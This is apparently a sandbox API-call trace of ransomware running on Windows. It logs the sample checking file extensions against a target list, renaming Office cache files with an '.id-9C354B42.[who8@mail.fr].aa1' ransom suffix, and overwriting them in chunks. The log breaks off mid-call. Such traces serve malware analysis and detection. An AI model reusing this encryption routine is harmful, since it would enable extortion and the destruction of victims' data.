[0226.150] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned 92 [0226.150] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned 92 [0226.150] lstrlenW (lpString=".doc") returned 4 [0226.150] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0226.150] lstrlenW (lpString=".docx") returned 5 [0226.150] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0226.150] lstrlenW (lpString=".pdf") returned 4 [0226.150] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0226.150] lstrlenW (lpString=".xls") returned 4 [0226.150] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0226.150] lstrlenW (lpString=".xlsx") returned 5 [0226.150] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0226.150] lstrlenW (lpString=".ppt") returned 4 [0226.150] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0226.150] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned 92 [0226.150] lstrlenW (lpString=".zip") returned 4 [0226.150] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0226.150] lstrlenW (lpString=".rar") returned 4 [0226.150] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0226.150] lstrlenW (lpString=".bz2") returned 4 [0226.150] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0226.150] lstrlenW (lpString=".7z") returned 3 [0226.150] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0226.150] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned 92 [0226.150] lstrlenW (lpString=".dbf") returned 4 [0226.150] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0226.150] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned 92 [0226.150] lstrlenW (lpString=".1cd") returned 4 [0226.150] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0226.151] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned 92 [0226.151] lstrlenW (lpString=".jpg") returned 4 [0226.151] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 Thread: id = 14 os_tid = 0xba8 [0195.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3880480 [0195.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3890488 [0195.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540528 [0195.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x543228 [0195.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540540 [0195.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3b70020 [0195.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540558 [0195.031] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540558, Size=0x20) returned 0x56fae8 [0195.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540558 [0195.031] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540558, Size=0x20) returned 0x56fac0 [0195.031] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0195.031] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0195.031] Wow64DisableWow64FsRedirection (in: OldValue=0x301ff58 | out: OldValue=0x301ff58*=0x0) returned 1 [0195.031] lstrlenW (lpString="kernel32.dll") returned 12 [0195.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fae8 | out: hHeap=0x4f0000) returned 1 [0195.031] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0195.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fac0 | out: hHeap=0x4f0000) returned 1 [0195.032] Sleep (dwMilliseconds=0x64) [0195.178] lstrcmpiW (lpString1=".LOG2", lpString2=".aa1") returned 1 [0195.178] lstrlenW (lpString="BCD.LOG2") returned 8 [0195.178] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0196.667] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=0) returned 1 [0196.668] CloseHandle (hObject=0x160) returned 1 [0196.668] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0196.668] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0196.668] lstrlenW (lpString=".doc") returned 4 [0196.668] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0196.668] lstrlenW (lpString=".docx") returned 5 [0196.668] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0196.668] lstrlenW (lpString=".pdf") returned 4 [0196.668] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0196.668] lstrlenW (lpString=".xls") returned 4 [0196.668] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0196.668] lstrlenW (lpString=".xlsx") returned 5 [0196.668] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0196.668] lstrlenW (lpString=".ppt") returned 4 [0196.668] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0196.668] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0196.668] lstrlenW (lpString=".zip") returned 4 [0196.668] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0196.668] lstrlenW (lpString=".rar") returned 4 [0196.668] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0196.668] lstrlenW (lpString=".bz2") returned 4 [0196.668] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0196.668] lstrlenW (lpString=".7z") returned 3 [0196.668] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0196.668] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0196.668] lstrlenW (lpString=".dbf") returned 4 [0196.668] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0196.668] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0196.668] lstrlenW (lpString=".1cd") returned 4 [0196.668] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0196.668] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0196.669] lstrlenW (lpString=".jpg") returned 4 [0196.669] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0196.669] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0196.669] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0196.669] lstrlenW (lpString=".doc") returned 4 [0196.669] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0196.669] lstrlenW (lpString=".docx") returned 5 [0196.669] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0196.669] lstrlenW (lpString=".pdf") returned 4 [0196.669] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0196.669] lstrlenW (lpString=".xls") returned 4 [0196.669] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0196.669] lstrlenW (lpString=".xlsx") returned 5 [0196.669] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0196.669] lstrlenW (lpString=".ppt") returned 4 [0196.669] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0196.669] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0196.669] lstrlenW (lpString=".zip") returned 4 [0196.669] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0196.669] lstrlenW (lpString=".rar") returned 4 [0196.669] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0196.669] lstrlenW (lpString=".bz2") returned 4 [0196.669] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0196.669] lstrlenW (lpString=".7z") returned 3 [0196.669] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0196.669] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0196.669] lstrlenW (lpString=".dbf") returned 4 [0196.669] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0196.669] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0196.670] lstrlenW (lpString=".1cd") returned 4 [0196.670] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0196.670] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0196.670] lstrlenW (lpString=".jpg") returned 4 [0196.670] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0196.670] lstrcmpiW (lpString1=".sys", lpString2=".aa1") returned 1 [0196.670] lstrlenW (lpString="hiberfil.sys") returned 12 [0196.670] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.670] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0196.670] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0196.670] lstrlenW (lpString=".doc") returned 4 [0196.670] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0196.670] lstrlenW (lpString=".docx") returned 5 [0196.670] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0196.671] lstrlenW (lpString=".pdf") returned 4 [0196.671] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0196.671] lstrlenW (lpString=".xls") returned 4 [0196.671] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0196.671] lstrlenW (lpString=".xlsx") returned 5 [0196.671] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0196.671] lstrlenW (lpString=".ppt") returned 4 [0196.671] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0196.671] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0196.671] lstrlenW (lpString=".zip") returned 4 [0196.671] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0196.671] lstrlenW (lpString=".rar") returned 4 [0196.671] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0196.671] lstrlenW (lpString=".bz2") returned 4 [0196.671] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0196.671] lstrlenW (lpString=".7z") returned 3 [0196.671] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0196.671] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0196.671] lstrlenW (lpString=".dbf") returned 4 [0196.671] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0196.671] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0196.671] lstrlenW (lpString=".1cd") returned 4 [0196.671] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0196.672] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0196.672] lstrlenW (lpString=".jpg") returned 4 [0196.672] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0196.672] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0196.672] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0196.672] lstrlenW (lpString=".doc") returned 4 [0196.672] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0196.672] lstrlenW (lpString=".docx") returned 5 [0196.672] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0196.672] lstrlenW (lpString=".pdf") returned 4 [0196.672] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0196.672] lstrlenW (lpString=".xls") returned 4 [0196.672] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0196.672] lstrlenW (lpString=".xlsx") returned 5 [0196.672] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0196.672] lstrlenW (lpString=".ppt") returned 4 [0196.672] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0196.672] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0196.672] lstrlenW (lpString=".zip") returned 4 [0196.672] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0196.672] lstrlenW (lpString=".rar") returned 4 [0196.672] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0196.673] lstrlenW (lpString=".bz2") returned 4 [0196.673] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0196.673] lstrlenW (lpString=".7z") returned 3 [0196.673] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0196.673] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0196.673] lstrlenW (lpString=".dbf") returned 4 [0196.673] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0196.673] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0196.673] lstrlenW (lpString=".1cd") returned 4 [0196.673] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0196.673] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0196.673] lstrlenW (lpString=".jpg") returned 4 [0196.673] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0196.673] Sleep (dwMilliseconds=0x64) [0196.924] Sleep (dwMilliseconds=0x64) [0197.720] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0197.721] lstrlenW (lpString="ExcelLR.cab") returned 11 [0197.721] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0197.729] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=16972987) returned 1 [0197.729] CloseHandle (hObject=0x174) returned 1 [0197.729] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0197.729] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0197.729] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0197.732] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0197.732] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0197.733] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0197.733] ReadFile (in: hFile=0x174, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0197.794] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0197.794] ReadFile (in: hFile=0x174, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0198.637] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0198.637] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0198.637] ReadFile (in: hFile=0x174, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0198.790] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.790] WriteFile (in: hFile=0x174, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0199.212] SetEndOfFile (hFile=0x174) returned 1 [0199.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f63088 [0199.216] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0199.216] WriteFile (in: hFile=0x174, lpBuffer=0x3f63088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f63088*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0199.217] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0199.217] WriteFile (in: hFile=0x174, lpBuffer=0x3f63088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f63088*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0199.219] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0199.219] WriteFile (in: hFile=0x174, lpBuffer=0x3f63088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f63088*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0199.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f63088 | out: hHeap=0x4f0000) returned 1 [0199.221] CloseHandle (hObject=0x174) returned 1 [0203.003] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0203.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0203.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0203.004] lstrlenW (lpString=".doc") returned 4 [0203.004] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0203.004] lstrlenW (lpString=".docx") returned 5 [0203.004] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0203.004] lstrlenW (lpString=".pdf") returned 4 [0203.004] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0203.004] lstrlenW (lpString=".xls") returned 4 [0203.004] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0203.004] lstrlenW (lpString=".xlsx") returned 5 [0203.004] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0203.004] lstrlenW (lpString=".ppt") returned 4 [0203.005] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0203.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0203.005] lstrlenW (lpString=".zip") returned 4 [0203.005] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0203.005] lstrlenW (lpString=".rar") returned 4 [0203.005] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0203.005] lstrlenW (lpString=".bz2") returned 4 [0203.005] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0203.005] lstrlenW (lpString=".7z") returned 3 [0203.005] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0203.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0203.005] lstrlenW (lpString=".dbf") returned 4 [0203.005] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0203.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0203.005] lstrlenW (lpString=".1cd") returned 4 [0203.005] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0203.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0203.005] lstrlenW (lpString=".jpg") returned 4 [0203.005] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0203.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0203.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0203.006] lstrlenW (lpString=".doc") returned 4 [0203.006] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0203.006] lstrlenW (lpString=".docx") returned 5 [0203.006] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0203.006] lstrlenW (lpString=".pdf") returned 4 [0203.006] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0203.006] lstrlenW (lpString=".xls") returned 4 [0203.006] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0203.006] lstrlenW (lpString=".xlsx") returned 5 [0203.006] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0203.006] lstrlenW (lpString=".ppt") returned 4 [0203.006] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0203.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0203.006] lstrlenW (lpString=".zip") returned 4 [0203.006] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0203.006] lstrlenW (lpString=".rar") returned 4 [0203.007] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0203.007] lstrlenW (lpString=".bz2") returned 4 [0203.007] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0203.007] lstrlenW (lpString=".7z") returned 3 [0203.007] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0203.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0203.007] lstrlenW (lpString=".dbf") returned 4 [0203.007] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0203.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0203.007] lstrlenW (lpString=".1cd") returned 4 [0203.007] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0203.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0203.007] lstrlenW (lpString=".jpg") returned 4 [0203.007] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0203.007] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0203.007] lstrlenW (lpString="WordLR.cab") returned 10 [0203.007] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0203.008] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=43806141) returned 1 [0203.008] CloseHandle (hObject=0x17c) returned 1 [0203.008] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0203.008] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0203.009] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0203.009] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0203.009] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0203.010] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0203.010] ReadFile (in: hFile=0x17c, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0203.016] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0203.016] ReadFile (in: hFile=0x17c, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, 